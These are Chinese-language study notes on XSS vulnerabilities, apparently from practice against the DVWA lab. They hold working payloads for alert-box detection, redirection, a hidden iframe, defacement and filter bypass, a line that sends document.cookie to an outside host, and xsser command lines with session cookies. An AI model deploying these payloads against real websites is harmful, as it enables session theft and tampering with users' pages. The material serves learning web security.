提交的内容被服务器原封不动的返回,则可能出现漏洞。
Xss漏洞分为存储型、反射型、DOM型
反射型:
检测代码:
<script> alert(‘XSS’); </script> 弹出一个警告窗口
<a href='' οnclick=alert('xss')>type</a> 建立一个点击,点击后弹出警告窗口<img src=http://1.1.1.1/a.ipg οnerrοr=alert('xss')> 创造一个错误,错误后执行警告窗口
漏洞利用代码:
<script>window.location=‘http://1.1.1.1'</script>
<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
重定向到另一个网址或ip
<script>new Image().src="http://1.1.1.1/c.php? output="+document.cookie;</script> 盗取cookie
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script> 篡改页面
可以在本机写好js,直接让受害者利用url调用本机的js代码
利用xss反射型漏洞编写一个键盘记录器:
攻击后,在页面上的键盘操作都会被记录到keylog.txt中
Xsser笔记:
xsser -u“http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name="-cookie="security=low;PHPSESSID=d23e469411707ff8210717e67c521a81" -s-v --reverse-check
检查是否有xss漏洞,出现代表注入成功
--heuristic 检查被过滤的字符
xsser -u"http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name="-cookie="security=high;PHPSESSID=d23e469411707ff8210717e67c521a81" --Cem='Mix,Une,Str,Hex'
若输入对<script>过滤,则可以使用<scr<script>ipt>绕过
htmlspecialchars()此方法可以过滤 <>,对<>进行html编码
存储型:
特点:1.长期存储在服务器上2.每次用户访问都会执行js脚本
若浏览器html代码对输入表单长度进行限制,则可以用以下方法:
打开开发者工具,点击html再点击表单位置,然后修改参数
DOM型:
利用dom方法盗取cookie